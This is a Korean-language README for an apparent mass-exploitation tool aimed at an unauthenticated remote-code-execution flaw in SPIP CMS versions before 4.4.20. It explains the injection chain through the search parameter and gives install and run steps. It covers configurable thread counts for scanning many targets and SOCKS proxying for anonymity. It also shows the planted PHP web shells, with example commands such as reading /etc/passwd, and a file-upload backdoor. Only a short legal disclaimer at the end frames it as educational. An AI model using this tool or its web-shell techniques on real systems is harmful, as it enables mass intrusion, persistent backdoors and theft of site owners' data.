
SPIP 4.4.20 이전 버전에서는 인증되지 않은 원격 공격자가 임의 코드를 실행할 수 있습니다
SPIP 4.4.20 이전 버전에서 인증되지 않은 원격 공격자가 임의 코드를 실행할 수 있음
SPIP CMS의 인증 전 원격 코드 실행 — 4.4.20 이전 모든 버전
CVE-2026-77647은 4.4.20 이전의 모든 SPIP CMS 버전에 영향을 미치는 치명적인 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.
이 결함은 원격 공격자가 인증이나 사용자 상호작용 없이 대상 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다. 2026년 8월부터 실제 환경에서 활발히 악용되어 SPIP 팀이 긴급 패치를 발표하게 되었습니다.
이 도구는 구성 가능한 동시성을 통해 여러 대상에 걸쳐 이 취약점의 탐지 및 악용을 자동화합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-77647 |
| 영향받는 소프트웨어 | SPIP CMS |
| 영향받는 버전 | 4.4.20 이전 모든 버전 |
| 유형 | 인증되지 않은 원격 코드 실행 (RCE) |
| CWE | CWE-94 — 코드 생성의 부적절한 제어 (코드 주입) |
| CVSS 3.1 점수 | 9.8 / 10 — 치명적 |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | 필요 없음 (인증 전) |
| 악용 | 실제 환경에서 활발히 악용됨 (2026년 8월) |
| 패치 | SPIP 4.4.20 (권고문) |
| 지표 | 값 | 의미 |
|---|---|---|
| 공격 벡터 | 네트워크 | 인터넷을 통해 원격으로 악용 가능 |
| 공격 복잡도 | 낮음 | 특별한 조건 필요 없음 |
| 필요 권한 | 없음 | 인증 불필요 |
| 사용자 상호작용 | 없음 | 피해자의 조치 필요 없음 |
| 범위 | 변경되지 않음 | 영향이 취약한 시스템으로 제한됨 |
| 기밀성 | 높음 | 모든 데이터에 대한 전체 읽기 접근 |
| 무결성 | 높음 | 전체 쓰기 / 수정 접근 |
| 가용성 | 높음 | 완전한 서비스 거부 가능 |
이 취약점은 SPIP 템플릿 엔진의 두 가지 상호작용 문제에서 비롯됩니다:
잘못된 <?php 블록 식별 — SPIP의 템플릿 엔진이 사용자 제어 입력, 특히 검색(recherche) 매개변수 내의 PHP 여는 태그를 적절히 정제하지 못합니다.
var_export 오처리 — PHP의 var_export() 함수가 특정 엣지 케이스, 특히 입력에 < 문자가 포함된 경우를 잘못 처리하여 실행 가능한 PHP 코드의 주입을 허용합니다.
User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval
공격자는 SPIP 검색 기능(?page=recherche&recherche=PAYLOAD)을 통해 조작된 페이로드를 전송합니다. 이 페이로드는 X-Spip-Filtre HTTP 헤더 메커니즘을 악용하여 html_entity_decode를 트리거하고, 이로 인해 주입된 PHP 코드가 디코딩됩니다. 그런 다음 디코딩된 코드는 SPIP의 템플릿 렌더링 엔진에 의해 평가되어 임의 코드 실행이 이루어집니다.
┌──────────────────────┐
│ Attacker Machine │
└──────────┬───────────┘
│
│ GET /spip.php?page=recherche&recherche=<PAYLOAD>
▼
┌──────────────────────┐
│ SPIP Application │
│ │
│ 1. Receives search │
│ 2. var_export() │──── Mishandles '<' character
│ 3. X-Spip-Filtre │──── html_entity_decode
│ 4. Template eval │──── Executes injected PHP
│ │
└──────────┬───────────┘
│
│ file_put_contents() → PHP Web Shell
▼
┌──────────────────────┐
│ Web Shell Active │
│ Full RCE Achieved │
└──────────────────────┘
git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests
한 줄에 하나의 대상을 입력하여 list.txt(또는 원하는 이름) 파일을 생성합니다:
https://target1.com
https://target2.com
http://192.168.1.100
target3.com
참고: 스킴(
http://또는https://)이 없는 대상은 기본적으로http://로 설정됩니다.
python CVE-2026-77647.py
이 도구는 다음 항목을 묻습니다:
[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):
| 속도 | 스레드 | 타임아웃 | 프로필 |
|---|---|---|---|
1 — 느림 | 5 | 25s | 🔇 은밀 |
2 — 보통 | 10 | 15s | ⚖️ 균형 |
3 — 빠름 | 25 | 12s | ⚡ 공격적 |
4 — 울트라 | 50 | 10s | 🔥 최대 |
[?] Proxy (blank = none): socks5://127.0.0.1:9050
익명화를 위한 HTTP/HTTPS/SOCKS 프록시를 지원합니다.
성공한 결과는 shells.txt에 저장됩니다:
https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk
명령 실행:
https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd
파일 업로드 인터페이스:
https://target.com/Nx_.php?k=nXk
Composed-By 헤더 및 페이지 핑거프린팅을 통한 탐지IMG/, tmp/, local/ 디렉터리 시도이 도구는 오직 교육 목적 및 승인된 보안 연구 목적으로만 제공됩니다.
시스템 소유자로부터 명시적인 서면 허가 없이 이 도구를 시스템에 사용하는 것은 불법이며, 컴퓨터 사기 및 남용법(CFAA), 영국 컴퓨터 오용법, 그리고 다른 관할권의 동등한 법률을 포함하되 이에 국한되지 않는 지역, 국가 및 국제 법률을 위반할 수 있습니다.
작성자는 이 도구로 인해 발생하는 어떠한 오용, 손해 또는 불법 행위에 대해서도 책임을 지지 않으며 책임이 없습니다. 이 도구를 사용함으로써 귀하는 다음에 동의하게 됩니다:
- 어떤 대상이든 테스트하기 전에 적절한 승인을 받았음
- 자신의 행동에 대해 전적인 책임을 수용함
- 모든 관련 법률 및 규정을 준수할 것임
- 컴퓨터 시스템에 대한 무단 접근이 형사 범죄임을 이해함
책임감 있게 사용하십시오. 윤리적으로 해킹하십시오.
제작: Khaled Alenazi
@Nxploited